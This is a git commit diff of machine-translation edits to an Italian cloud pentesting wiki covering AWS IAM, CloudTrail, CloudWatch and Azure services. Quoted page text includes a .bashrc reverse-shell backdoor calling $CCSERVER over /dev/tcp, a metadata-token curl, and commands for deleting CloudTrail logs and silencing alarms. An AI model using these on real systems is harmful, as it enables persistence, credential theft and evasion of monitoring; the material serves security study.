Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

This commit is contained in:
Translator
2025-02-11 17:15:35 +00:00
parent eb8a4062d7
commit 11a5e8184f
29 changed files with 184 additions and 170 deletions

View File

@@ -53,15 +53,15 @@ Esempi di SCP:
- Negare completamente l'account root
- Consentire solo regioni specifiche
- Consentire solo servizi in whitelist
- Negare a GuardDuty, CloudTrail e S3 Public Block Access di
- Negare l'accesso a GuardDuty, CloudTrail e S3 Public Block da
essere disabilitati
- Negare ai ruoli di sicurezza/riposta agli incidenti di essere eliminati o
- Negare che i ruoli di sicurezza/riposta agli incidenti vengano eliminati o
modificati.
- Negare l'eliminazione dei backup.
- Negare che i backup vengano eliminati.
- Negare la creazione di utenti IAM e chiavi di accesso
Trova **esempi JSON** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
@@ -84,7 +84,7 @@ Nota che ci sono 4 partizioni in AWS ma solo 3 modi per chiamarle:
IAM è il servizio che ti permetterà di gestire **Autenticazione**, **Autorizzazione** e **Controllo degli Accessi** all'interno del tuo account AWS.
- **Autenticazione** - Processo di definizione di un'identità e la verifica di quell'identità. Questo processo può essere suddiviso in: Identificazione e verifica.
- **Autenticazione** - Processo di definizione di un'identità e verifica di quell'identità. Questo processo può essere suddiviso in: Identificazione e verifica.
- **Autorizzazione** - Determina a cosa un'identità può accedere all'interno di un sistema una volta che è stata autenticata.
- **Controllo degli Accessi** - Il metodo e il processo di come l'accesso è concesso a una risorsa sicura.
@@ -117,7 +117,7 @@ _Crea una nuova chiave di accesso -> Applica la nuova chiave al sistema/applicaz
### MFA - Multi Factor Authentication
Viene utilizzato per **creare un fattore aggiuntivo per l'autenticazione** oltre ai tuoi metodi esistenti, come la password, creando quindi un livello di autenticazione multi-fattore.\
Puoi utilizzare un **applicazione virtuale gratuita o un dispositivo fisico**. Puoi utilizzare app come google authentication gratuitamente per attivare un MFA in AWS.
Puoi utilizzare un **applicazione virtuale gratuita o un dispositivo fisico**. Puoi utilizzare app come Google Authenticator gratuitamente per attivare un MFA in AWS.
Le politiche con condizioni MFA possono essere collegate ai seguenti:
@@ -136,14 +136,14 @@ Come [**indicato qui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_cred
Un [gruppo di utenti IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) è un modo per **allegare politiche a più utenti** contemporaneamente, il che può semplificare la gestione delle autorizzazioni per quegli utenti. **I ruoli e i gruppi non possono far parte di un gruppo**.
Puoi allegare una **politica basata sull'identità a un gruppo di utenti** in modo che tutti gli **utenti** nel gruppo di utenti **ricevano le autorizzazioni della politica**. Non puoi **identificare un gruppo di utenti** come un **`Principal`** in una **politica** (come una politica basata sulle risorse) perché i gruppi si riferiscono alle autorizzazioni, non all'autenticazione, e i principali sono entità IAM autenticate.
Puoi allegare una **politica basata sull'identità a un gruppo di utenti** in modo che tutti gli **utenti** nel gruppo di utenti **ricevano le autorizzazioni della politica**. Non puoi **identificare un gruppo di utenti** come un **`Principal`** in una **politica** (come una politica basata sulle risorse) perché i gruppi si riferiscono alle autorizzazioni, non all'autenticazione, e i principal sono entità IAM autenticate.
Ecco alcune caratteristiche importanti dei gruppi di utenti:
- Un **gruppo** di utenti può **contenere molti utenti**, e un **utente** può **appartenere a più gruppi**.
- **I gruppi di utenti non possono essere annidati**; possono contenere solo utenti, non altri gruppi di utenti.
- Non esiste **un gruppo di utenti predefinito che include automaticamente tutti gli utenti nell'account AWS**. Se desideri avere un gruppo di utenti di questo tipo, devi crearlo e assegnare ogni nuovo utente ad esso.
- Il numero e la dimensione delle risorse IAM in un account AWS, come il numero di gruppi e il numero di gruppi di cui un utente può essere membro, sono limitati. Per ulteriori informazioni, vedere [Quote IAM e AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
- Il numero e la dimensione delle risorse IAM in un account AWS, come il numero di gruppi e il numero di gruppi di cui un utente può essere membro, sono limitati. Per ulteriori informazioni, vedere [quote IAM e AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [Ruoli IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
@@ -169,7 +169,7 @@ Vengono utilizzati per assegnare autorizzazioni. Ci sono 2 tipi:
- Politiche gestite dai clienti: configurate da te. Puoi creare politiche basate su politiche gestite da AWS (modificando una di esse e creando la tua), utilizzando il generatore di politiche (una vista GUI che ti aiuta a concedere e negare autorizzazioni) o scrivendo le tue.
Per **default l'accesso** è **negato**, l'accesso sarà concesso se è stato specificato un ruolo esplicito.\
Se **esiste un singolo "Deny", sovrascriverà l'"Allow"**, tranne per le richieste che utilizzano le credenziali di sicurezza root dell'account AWS (che sono consentite per impostazione predefinita).
Se **esiste un singolo "Deny", sovrascriverà il "Allow"**, tranne per le richieste che utilizzano le credenziali di sicurezza root dell'account AWS (che sono consentite per impostazione predefinita).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -197,7 +197,7 @@ I [campi specifici che possono essere utilizzati per condizioni per servizio son
#### Politiche Inline
Questo tipo di politiche sono **assegnate direttamente** a un utente, gruppo o ruolo. Quindi, non appaiono nell'elenco delle Politiche poiché nessun altro può utilizzarle.\
Questo tipo di politiche sono **assegnate direttamente** a un utente, gruppo o ruolo. Quindi, non appaiono nell'elenco delle Politiche poiché nessun altro può usarle.\
Le politiche inline sono utili se si desidera **mantenere una relazione rigorosa uno a uno tra una politica e l'identità** a cui è applicata. Ad esempio, si vuole essere certi che i permessi in una politica non siano assegnati inavvertitamente a un'identità diversa da quella per cui sono destinati. Quando si utilizza una politica inline, i permessi nella politica non possono essere attaccati inavvertitamente all'identità sbagliata. Inoltre, quando si utilizza la Console di gestione AWS per eliminare quell'identità, le politiche incorporate nell'identità vengono eliminate anch'esse. Questo perché fanno parte dell'entità principale.
#### Politiche dei Bucket di Risorse
@@ -208,7 +208,7 @@ Se un principale non ha un diniego esplicito su di esse, e una politica di risor
### Limiti IAM
I limiti IAM possono essere utilizzati per **limitare i permessi a cui un utente o un ruolo dovrebbe avere accesso**. In questo modo, anche se un diverso insieme di permessi viene concesso all'utente da una **politica diversa**, l'operazione **fallirà** se tenta di utilizzarli.
I limiti IAM possono essere utilizzati per **limitare i permessi a cui un utente o ruolo dovrebbe avere accesso**. In questo modo, anche se un diverso insieme di permessi viene concesso all'utente da una **politica diversa**, l'operazione **fallirà** se tenta di usarli.
Un limite è semplicemente una politica allegata a un utente che **indica il livello massimo di permessi che l'utente o il ruolo può avere**. Quindi, **anche se l'utente ha accesso da Amministratore**, se il limite indica che può solo leggere i bucket S·, quello è il massimo che può fare.
@@ -235,7 +235,9 @@ Pertanto, se a un certo punto ti trovi di fronte all'errore "... perché nessuna
La federazione dell'identità **consente agli utenti di provider di identità esterni** ad AWS di accedere in modo sicuro alle risorse AWS senza dover fornire le credenziali di un utente AWS da un account IAM valido.\
Un esempio di provider di identità può essere il tuo **Microsoft Active Directory** aziendale (tramite **SAML**) o i servizi **OpenID** (come **Google**). L'accesso federato consentirà quindi agli utenti al suo interno di accedere ad AWS.
Per configurare questa fiducia, viene generato un **Provider di Identità IAM (SAML o OAuth)** che **fiducia** la **altra piattaforma**. Poi, almeno un **ruolo IAM è assegnato (fiducioso) al Provider di Identità**. Se un utente della piattaforma fidata accede ad AWS, accederà come il ruolo menzionato.
Per configurare questa fiducia, viene generato un **Provider di Identità IAM (SAML o OAuth)** che **fiducia** nella **altra piattaforma**. Poi, almeno un **ruolo IAM è assegnato (fiducioso) al Provider di Identità**. Se un utente della piattaforma fidata accede ad AWS, accederà come il ruolo menzionato.
Tuttavia, di solito vorrai dare un **ruolo diverso a seconda del gruppo dell'utente** nella piattaforma di terze parti. Quindi, diversi **ruoli IAM possono fidarsi** del Provider di Identità di terze parti e la piattaforma di terze parti sarà quella che consentirà agli utenti di assumere un ruolo o l'altro.
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
@@ -278,7 +280,7 @@ Non supportato:
- Cestino di Riciclo AD
- Account di Servizio Gestiti da Gruppo
- Estensioni di Schema
- Nessun accesso diretto a OS o Istanza
- Nessun accesso diretto a OS o Istanze
#### Federazione Web o Autenticazione OpenID
@@ -286,7 +288,7 @@ L'app utilizza AssumeRoleWithWebIdentity per creare credenziali temporanee. Tutt
### Altre opzioni IAM
- Puoi **impostare un'impostazione della politica delle password** come lunghezza minima e requisiti per la password.
- Puoi **impostare un'impostazione della politica delle password** con opzioni come lunghezza minima e requisiti per la password.
- Puoi **scaricare il "Rapporto Credenziali"** con informazioni sulle credenziali attuali (come il tempo di creazione dell'utente, se la password è abilitata...). Puoi generare un rapporto credenziali fino a una volta ogni **quattro ore**.
AWS Identity and Access Management (IAM) fornisce **controllo degli accessi dettagliato** su tutto AWS. Con IAM, puoi specificare **chi può accedere a quali servizi e risorse**, e sotto quali condizioni. Con le politiche IAM, gestisci i permessi per la tua forza lavoro e i sistemi per **garantire permessi minimi**.
@@ -309,7 +311,7 @@ In [**questa pagina**](https://docs.aws.amazon.com/IAM/latest/UserGuide/referenc
| APKA | Chiave pubblica |
| AROA | Ruolo |
| ASCA | Certificato |
| ASIA | [ID chiavi di accesso temporanee (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilizza questo prefisso, ma è unico solo in combinazione con la chiave di accesso segreta e il token di sessione. |
| ASIA | [ID chiave di accesso temporanea (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilizza questo prefisso, ma è unico solo in combinazione con la chiave di accesso segreta e il token di sessione. |
### Permessi raccomandati per audit degli account

View File

@@ -10,7 +10,7 @@ Ogni evento registrato contiene:
- Il nome dell'API chiamata: `eventName`
- Il servizio chiamato: `eventSource`
- L'ora: `eventTime`
- Il tempo: `eventTime`
- L'indirizzo IP: `SourceIPAddress`
- Il metodo dell'agente: `userAgent`. Esempi:
- Signing.amazonaws.com - Dalla Console di gestione AWS
@@ -55,7 +55,7 @@ Tuttavia, anche se puoi salvare tutti i log nello stesso bucket S3, non puoi agg
### Cloudtrail da tutti gli account org in 1
Quando crei un CloudTrail, è possibile indicare di attivare CloudTrail per tutti gli account nell'org e ottenere i log in un solo bucket:
Quando crei un CloudTrail, è possibile indicare di attivare cloudtrail per tutti gli account nell'org e ottenere i log in un solo bucket:
<figure><img src="../../../../images/image (200).png" alt=""><figcaption></figcaption></figure>
@@ -185,9 +185,9 @@ Controlla ulteriori informazioni nella [**ricerca originale**](https://medium.co
#### Non generare un log
La tecnica più efficace per questo è in realtà una semplice. Basta utilizzare la chiave che hai appena trovato per accedere a qualche servizio all'interno del tuo account attaccante. Questo farà sì che **CloudTrail generi un log all'interno del TUO account AWS e non all'interno di quello delle vittime**.
La tecnica più efficace per questo è in realtà una semplice. Usa semplicemente la chiave che hai appena trovato per accedere a qualche servizio all'interno del tuo account di attaccante. Questo farà sì che **CloudTrail generi un log all'interno del TUO account AWS e non all'interno delle vittime**.
Il fatto è che l'output mostrerà un errore che indica l'ID dell'account e il nome dell'account, quindi **sarai in grado di vedere se si tratta di un Honeytoken**.
Il fatto è che l'output mostrerà un errore che indica l'ID dell'account e il nome dell'account, quindi **sarai in grado di vedere se è un Honeytoken**.
#### Servizi AWS senza log
@@ -206,7 +206,7 @@ In questo modo, un **attaccante può ottenere l'ARN della chiave senza attivare
Alcuni servizi AWS **genereranno un'infrastruttura** come **Database** o **cluster Kubernetes** (EKS). Un utente **che parla direttamente a quei servizi** (come l'API Kubernetes) **non utilizzerà l'API AWS**, quindi CloudTrail non sarà in grado di vedere questa comunicazione.
Pertanto, un utente con accesso a EKS che ha scoperto l'URL dell'API EKS potrebbe generare un token localmente e **parlare direttamente con il servizio API senza essere rilevato da CloudTrail**.
Pertanto, un utente con accesso a EKS che ha scoperto l'URL dell'API EKS potrebbe generare un token localmente e **parlare direttamente con il servizio API senza essere rilevato da Cloudtrail**.
Ulteriori informazioni in:
@@ -244,12 +244,12 @@ Puoi personalizzare il selettore di eventi in base alle tue esigenze specifiche.
```bash
aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>
```
### Modificare la Configurazione del Bucket
### Modifica della Configurazione del Bucket
- Eliminare il bucket S3
- Modificare la policy del bucket per negare qualsiasi scrittura dal servizio CloudTrail
- Aggiungere una policy di lifecycle al bucket S3 per eliminare gli oggetti
- Disabilitare la chiave kms utilizzata per crittografare i log di CloudTrail
- Elimina il bucket S3
- Cambia la policy del bucket per negare qualsiasi scrittura dal servizio CloudTrail
- Aggiungi una policy di lifecycle al bucket S3 per eliminare gli oggetti
- Disabilita la chiave kms utilizzata per crittografare i log di CloudTrail
### Ransomware Cloudtrail
@@ -264,7 +264,7 @@ Questo è fondamentalmente un **ransomware S3-KMS** spiegato in:
**Ransomware KMS**
Questo è un modo più semplice per eseguire l'attacco precedente con requisiti di autorizzazione diversi:
Questo è il modo più semplice per eseguire l'attacco precedente con requisiti di autorizzazione diversi:
{{#ref}}
../../aws-post-exploitation/aws-kms-post-exploitation.md

View File

@@ -41,21 +41,21 @@ Le dimensioni sono coppie chiave-valore che fanno parte delle metriche. Aiutano
Le statistiche sono calcoli matematici eseguiti sui dati delle metriche per riassumerli nel tempo. Le statistiche comuni includono Media, Somma, Minimo, Massimo e ConteggioCampioni.
- **Esempio**: Calcolare l'utilizzo medio della CPU su un periodo di un'ora.
- **Esempio**: Calcolare la media dell'utilizzo della CPU su un periodo di un'ora.
### Unità
Le unità sono il tipo di misura associato a una metrica. Le unità aiutano a fornire contesto e significato ai dati metrici. Le unità comuni includono Percentuale, Byte, Secondi, Conteggio.
- **Esempio**: CPUUtilization potrebbe essere misurato in Percentuale, mentre NetworkIn potrebbe essere misurato in Byte.
- **Esempio**: CPUUtilization potrebbe essere misurata in Percentuale, mentre NetworkIn potrebbe essere misurata in Byte.
## Funzionalità di CloudWatch
## Caratteristiche di CloudWatch
### Dashboard
**CloudWatch Dashboards** forniscono **viste personalizzabili delle metriche di AWS CloudWatch**. È possibile creare e configurare dashboard per visualizzare i dati e monitorare le risorse in un'unica vista, combinando diverse metriche da vari servizi AWS.
**Caratteristiche principali**:
**Caratteristiche chiave**:
- **Widget**: Blocchi di costruzione delle dashboard, inclusi grafici, testo, allarmi e altro.
- **Personalizzazione**: Layout e contenuto possono essere personalizzati per soddisfare esigenze di monitoraggio specifiche.
@@ -66,14 +66,14 @@ Le unità sono il tipo di misura associato a una metrica. Le unità aiutano a fo
### Metric Stream e Dati Metrici
**Metric Streams** in AWS CloudWatch ti consentono di trasmettere continuamente le metriche di CloudWatch a una destinazione a tua scelta in tempo quasi reale. Questo è particolarmente utile per monitoraggio avanzato, analisi e dashboard personalizzati utilizzando strumenti al di fuori di AWS.
**Metric Streams** in AWS CloudWatch ti consentono di trasmettere continuamente le metriche di CloudWatch a una destinazione a tua scelta in tempo quasi reale. Questo è particolarmente utile per il monitoraggio avanzato, l'analisi e dashboard personalizzati utilizzando strumenti al di fuori di AWS.
**Dati Metrici** all'interno dei Metric Streams si riferiscono alle misurazioni effettive o ai punti dati che vengono trasmessi. Questi punti dati rappresentano varie metriche come l'utilizzo della CPU, l'uso della memoria, ecc., per le risorse AWS.
**Esempio di caso d'uso**:
- Inviare metriche in tempo reale a un servizio di monitoraggio di terze parti per analisi avanzate.
- Archiviare metriche in un bucket Amazon S3 per lo stoccaggio a lungo termine e la conformità.
- Inviare metriche in tempo reale a un servizio di monitoraggio di terze parti per un'analisi avanzata.
- Archiviare metriche in un bucket Amazon S3 per la conservazione a lungo termine e la conformità.
### Allarme
@@ -107,11 +107,11 @@ Le unità sono il tipo di misura associato a una metrica. Le unità aiutano a fo
**Regole di Insight** ti consentono di identificare tendenze, rilevare picchi o altri modelli di interesse nei tuoi dati metrici utilizzando **espressioni matematiche potenti** per definire le condizioni sotto le quali devono essere intraprese azioni. Queste regole possono aiutarti a identificare anomalie o comportamenti insoliti nelle prestazioni e nell'utilizzo delle tue risorse.
**Regole di Insight Gestite** sono regole di insight preconfigurate **fornite da AWS**. Sono progettate per monitorare servizi AWS specifici o casi d'uso comuni e possono essere attivate senza necessità di configurazione dettagliata.
**Regole di Insight Gestite** sono regole di insight **preconfigurate fornite da AWS**. Sono progettate per monitorare servizi AWS specifici o casi d'uso comuni e possono essere attivate senza necessità di configurazione dettagliata.
**Esempio di caso d'uso**:
- Monitoraggio delle prestazioni RDS: Abilitare una regola di insight gestita per Amazon RDS che monitora indicatori chiave di prestazione come l'utilizzo della CPU, l'uso della memoria e il disco I/O. Se una di queste metriche supera soglie operative sicure, la regola può attivare un avviso o un'azione di mitigazione automatica.
- Monitorare le prestazioni di RDS: Abilitare una regola di insight gestita per Amazon RDS che monitora indicatori chiave di prestazione come l'utilizzo della CPU, l'uso della memoria e l'I/O del disco. Se una di queste metriche supera soglie operative sicure, la regola può attivare un avviso o un'azione di mitigazione automatizzata.
### CloudWatch Logs <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
@@ -122,18 +122,18 @@ Consente di **aggregare e monitorare i log delle applicazioni** e dei sistemi da
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Log Group** | Una **collezione di log stream** che condividono le stesse impostazioni di retention, monitoraggio e controllo degli accessi |
| **Log Stream** | Una sequenza di **eventi di log** che condividono la **stessa fonte** |
| **Subscription Filters** | Definiscono un **modello di filtro che corrisponde agli eventi** in un particolare log group, inviandoli a Kinesis Data Firehose stream, Kinesis stream o a una funzione Lambda |
| **Subscription Filters** | Definiscono un **modello di filtro che corrisponde agli eventi** in un particolare log group, inviandoli a un flusso Kinesis Data Firehose, a un flusso Kinesis o a una funzione Lambda |
### CloudWatch Monitoring & Events
### Monitoraggio e Eventi di CloudWatch
CloudWatch **base** aggrega i dati **ogni 5 minuti** (quella **dettagliata** lo fa **ogni 1 minuto**). Dopo l'aggregazione, **controlla le soglie degli allarmi** nel caso debba attivarne uno.\
In tal caso, CloudWatch può essere preparato a inviare un evento e intraprendere alcune azioni automatiche (funzioni AWS lambda, argomenti SNS, code SQS, Kinesis Streams)
In tal caso, CloudWatch può essere preparato a inviare un evento e intraprendere alcune azioni automatiche (funzioni AWS lambda, argomenti SNS, code SQS, flussi Kinesis)
### Installazione dell'Agente
Puoi installare agenti all'interno delle tue macchine/contenitori per inviare automaticamente i log a CloudWatch.
- **Crea** un **ruolo** e **allegalo** all'**istanza** con permessi che consentano a CloudWatch di raccogliere dati dalle istanze oltre a interagire con AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
- **Crea** un **ruolo** e **allega** ad esso l'**istanza** con permessi che consentono a CloudWatch di raccogliere dati dalle istanze oltre a interagire con AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM)
- **Scarica** e **installa** l'**agente** sull'istanza EC2 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Puoi scaricarlo dall'interno dell'EC2 o installarlo automaticamente utilizzando AWS Systems Manager selezionando il pacchetto AWS-ConfigureAWSPackage
- **Configura** e **avvia** il CloudWatch Agent
@@ -216,7 +216,7 @@ aws events list-event-buses
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
Un attaccante con questi permessi potrebbe compromettere significativamente l'infrastruttura di monitoraggio e allerta di un'organizzazione. Cancellando allarmi esistenti, un attaccante potrebbe disabilitare avvisi cruciali che notificano gli amministratori di problemi di prestazioni critici, violazioni della sicurezza o guasti operativi. Inoltre, creando o modificando allarmi metrici, l'attaccante potrebbe anche fuorviare gli amministratori con avvisi falsi o silenziare allarmi legittimi, mascherando efficacemente attività malevole e impedendo risposte tempestive a incidenti reali.
Un attaccante con questi permessi potrebbe compromettere significativamente l'infrastruttura di monitoraggio e allerta di un'organizzazione. Cancellando allarmi esistenti, un attaccante potrebbe disabilitare avvisi cruciali che notificano gli amministratori di problemi di prestazioni critici, violazioni della sicurezza o guasti operativi. Inoltre, creando o modificando allarmi metrici, l'attaccante potrebbe anche fuorviare gli amministratori con falsi avvisi o silenziare allarmi legittimi, mascherando efficacemente attività malevole e impedendo risposte tempestive a incidenti reali.
Inoltre, con il permesso **`cloudwatch:PutCompositeAlarm`**, un attaccante sarebbe in grado di creare un ciclo di allarmi compositi, dove l'allarme composito A dipende dall'allarme composito B, e l'allarme composito B dipende anche dall'allarme composito A. In questo scenario, non è possibile eliminare alcun allarme composito che fa parte del ciclo perché c'è sempre un allarme composito che dipende da quell'allarme che si desidera eliminare.
```bash
@@ -254,7 +254,7 @@ L'esempio seguente mostra come rendere inefficace un allarme metrico:
```
{{#endtab }}
{{#tab name="Allerta metrica modificata" }}
{{#tab name="Modified Metric Alarm" }}
```json
{
"Namespace": "AWS/EC2",
@@ -285,7 +285,7 @@ L'esempio seguente mostra come rendere inefficace un allarme metrico:
Eliminando le azioni di allerta, l'attaccante potrebbe impedire che vengano attivati avvisi critici e risposte automatiche quando viene raggiunto uno stato di allerta, come notificare gli amministratori o attivare attività di auto-scaling. Abilitare o riabilitare in modo inappropriato le azioni di allerta potrebbe anche portare a comportamenti imprevisti, sia riattivando azioni precedentemente disabilitate sia modificando quali azioni vengono attivate, causando potenzialmente confusione e deviazione nella risposta agli incidenti.
Inoltre, un attaccante con il permesso potrebbe manipolare gli stati di allerta, essendo in grado di creare falsi allarmi per distrarre e confondere gli amministratori, o silenziare allarmi genuini per nascondere attività malevole in corso o guasti critici del sistema.
Inoltre, un attaccante con il permesso potrebbe manipolare gli stati di allerta, essendo in grado di creare falsi allarmi per distrarre e confondere gli amministratori, o silenziare allarmi genuini per nascondere attività malevole in corso o gravi guasti di sistema.
- Se utilizzi **`SetAlarmState`** su un allarme composito, l'allarme composito non è garantito a tornare al suo stato effettivo. Torna al suo stato effettivo solo una volta che uno dei suoi allarmi figli cambia stato. Viene anche rivalutato se aggiorni la sua configurazione.
```bash
@@ -293,11 +293,11 @@ aws cloudwatch disable-alarm-actions --alarm-names <value>
aws cloudwatch enable-alarm-actions --alarm-names <value>
aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM | INSUFFICIENT_DATA> --state-reason <value> [--state-reason-data <value>]
```
**Impatto Potenziale**: Mancanza di notifiche per eventi critici, potenziali problemi non rilevati, falsi allarmi, soppressione di allarmi genuini e potenzialmente rilevamenti mancati di incidenti reali.
**Impatto Potenziale**: Mancanza di notifiche per eventi critici, potenziali problemi non rilevati, falsi allerta, soppressione di allerta genuine e potenzialmente rilevamenti mancati di incidenti reali.
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
Un attaccante sarebbe in grado di compromettere la capacità di rilevare e rispondere a schemi o anomalie insolite nei dati delle metriche. Cancellando i rilevatori di anomalie esistenti, un attaccante potrebbe disabilitare meccanismi di allerta critici; e creando o modificandoli, sarebbe in grado di configurare in modo errato o creare falsi positivi per distrarre o sopraffare il monitoraggio.
Un attaccante sarebbe in grado di compromettere la capacità di rilevare e rispondere a schemi o anomalie insolite nei dati delle metriche. Cancellando i rilevatori di anomalie esistenti, un attaccante potrebbe disabilitare meccanismi di allerta critici; e creando o modificandoli, sarebbe in grado di misconfigurare o creare falsi positivi per distrarre o sopraffare il monitoraggio.
```bash
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
@@ -323,7 +323,7 @@ L'esempio seguente mostra come rendere inefficace un rilevatore di anomalie metr
```
{{#endtab }}
{{#tab name="Modified Metric Anomaly Detector" }}
{{#tab name="Rilevatore di Anomalie con Metriche Modificate" }}
```json
{
"SingleMetricAnomalyDetector": {

View File

@@ -7,15 +7,15 @@
Azure Cloud Shell offre accesso da riga di comando per gestire le risorse Azure con storage persistente e autenticazione automatica. Gli attaccanti possono sfruttare questo posizionando backdoor nella directory home persistente:
* **Storage Persistente**: La directory home di Azure Cloud Shell è montata su una condivisione file Azure e rimane intatta anche dopo la fine della sessione.
* **Script di Avvio**: File come .bashrc vengono eseguiti automaticamente all'inizio di ogni sessione, consentendo un'esecuzione persistente quando si avvia il cloud shell.
* **Script di Avvio**: File come .bashrc vengono eseguiti automaticamente all'inizio di ogni sessione, consentendo un'esecuzione persistente quando il cloud shell si avvia.
Esempio di backdoor in .bashrc:
```bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
```
Questo backdoor può eseguire comandi anche 5 minuti dopo che la shell cloud è stata chiusa dall'utente.
Questo backdoor può eseguire comandi anche 5 minuti dopo che la cloud shell è stata terminata dall'utente.
Inoltre, interroga il servizio di metadata di Azure per dettagli sull'istanza e token:
Inoltre, interroga il servizio di metadati di Azure per dettagli sull'istanza e token:
```bash
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
```

View File

@@ -47,7 +47,7 @@ az cosmosdb sql database create \
```
### `Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action`
Con questo permesso, puoi cambiare la priorità di failover delle regioni per un account database Azure Cosmos DB. Questa azione determina l'ordine in cui le regioni diventano primarie durante un evento di failover. L'uso improprio di questo permesso può interrompere l'alta disponibilità del database o portare a impatti operativi indesiderati.
Con questo permesso, puoi cambiare la priorità di failover delle regioni per un account di database Azure Cosmos DB. Questa azione determina l'ordine in cui le regioni diventano primarie durante un evento di failover. Un uso improprio di questo permesso può interrompere l'alta disponibilità del database o portare a impatti operativi indesiderati.
```bash
az cosmosdb failover-priority-change \
--name <database_account_name> \
@@ -90,7 +90,7 @@ az cosmosdb sql stored-procedure create \
--body 'function sample() { return "Hello, Cosmos!"; }'
```
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read`
Con questo permesso, puoi creare o modificare i trigger all'interno di un contenitore di un database SQL in un account Azure Cosmos DB. I trigger ti consentono di eseguire logica lato server in risposta a operazioni come inserimenti, aggiornamenti o eliminazioni.
Con questo permesso, puoi creare o modificare trigger all'interno di un contenitore di un database SQL in un account Azure Cosmos DB. I trigger ti consentono di eseguire logica lato server in risposta a operazioni come inserimenti, aggiornamenti o eliminazioni.
```bash
az cosmosdb sql trigger create \
--account-name <account_name> \
@@ -147,7 +147,7 @@ az cosmosdb mongodb role definition create \
}'
```
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
Con questo permesso, puoi creare nuove definizioni di utenti MongoDB all'interno di un account Azure Cosmos DB. Questo consente il provisioning di utenti con ruoli specifici e livelli di accesso ai database MongoDB.
Con questo permesso, puoi creare nuove definizioni di utenti MongoDB all'interno di un account Azure Cosmos DB. Questo consente il provisioning di utenti con ruoli e livelli di accesso specifici ai database MongoDB.
```bash
az cosmosdb mongodb user definition create \
--account-name <account_name> \

View File

@@ -10,7 +10,7 @@ Per ulteriori informazioni sulle logic apps, controlla:
{{#endref}}
### `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Con questi permessi, puoi modificare i flussi di lavoro delle Logic App e gestire le loro identità. In particolare, puoi assegnare o rimuovere identità gestite assegnate dal sistema e identità gestite assegnate dall'utente ai flussi di lavoro, il che consente alla Logic App di autenticarsi e accedere ad altre risorse Azure senza credenziali esplicite.
Con questi permessi, puoi modificare i flussi di lavoro delle Logic App e gestire le loro identità. In particolare, puoi assegnare o rimuovere identità gestite assegnate al sistema e identità gestite assegnate dagli utenti ai flussi di lavoro, il che consente alla Logic App di autenticarsi e accedere ad altre risorse Azure senza credenziali esplicite.
```bash
az logic workflow identity remove/assign \
--name <workflow_name> \
@@ -96,7 +96,7 @@ az logic integration-account partner create \
}'
```
### `Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`
Con questo permesso, puoi creare o modificare sessioni all'interno di un account di integrazione Azure Logic Apps. Le sessioni sono utilizzate nei flussi di lavoro B2B per raggruppare i messaggi e tenere traccia delle transazioni correlate su un periodo definito.
Con questo permesso, puoi creare o modificare sessioni all'interno di un account di integrazione di Azure Logic Apps. Le sessioni sono utilizzate nei flussi di lavoro B2B per raggruppare i messaggi e tenere traccia delle transazioni correlate per un periodo definito.
```bash
az logic integration-account session create \
--resource-group <resource_group_name> \

View File

@@ -58,7 +58,7 @@ az mysql flexible-server firewall-rule update \
```
### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action`
Con questo permesso, puoi resettare il GTID (Global Transaction Identifier) per un'istanza di MySQL Flexible Server su Azure. Resettare il GTID invaliderà tutti i backup automatizzati, on-demand e geo-backup effettuati prima dell'azione di reset. Dopo il reset del GTID, non sarai in grado di eseguire PITR (point-in-time-restore) utilizzando il punto di ripristino più veloce o un punto di ripristino personalizzato se l'orario di ripristino selezionato è prima dell'orario di reset del GTID. E il geo-restore riuscito sarà possibile solo dopo 5 giorni.
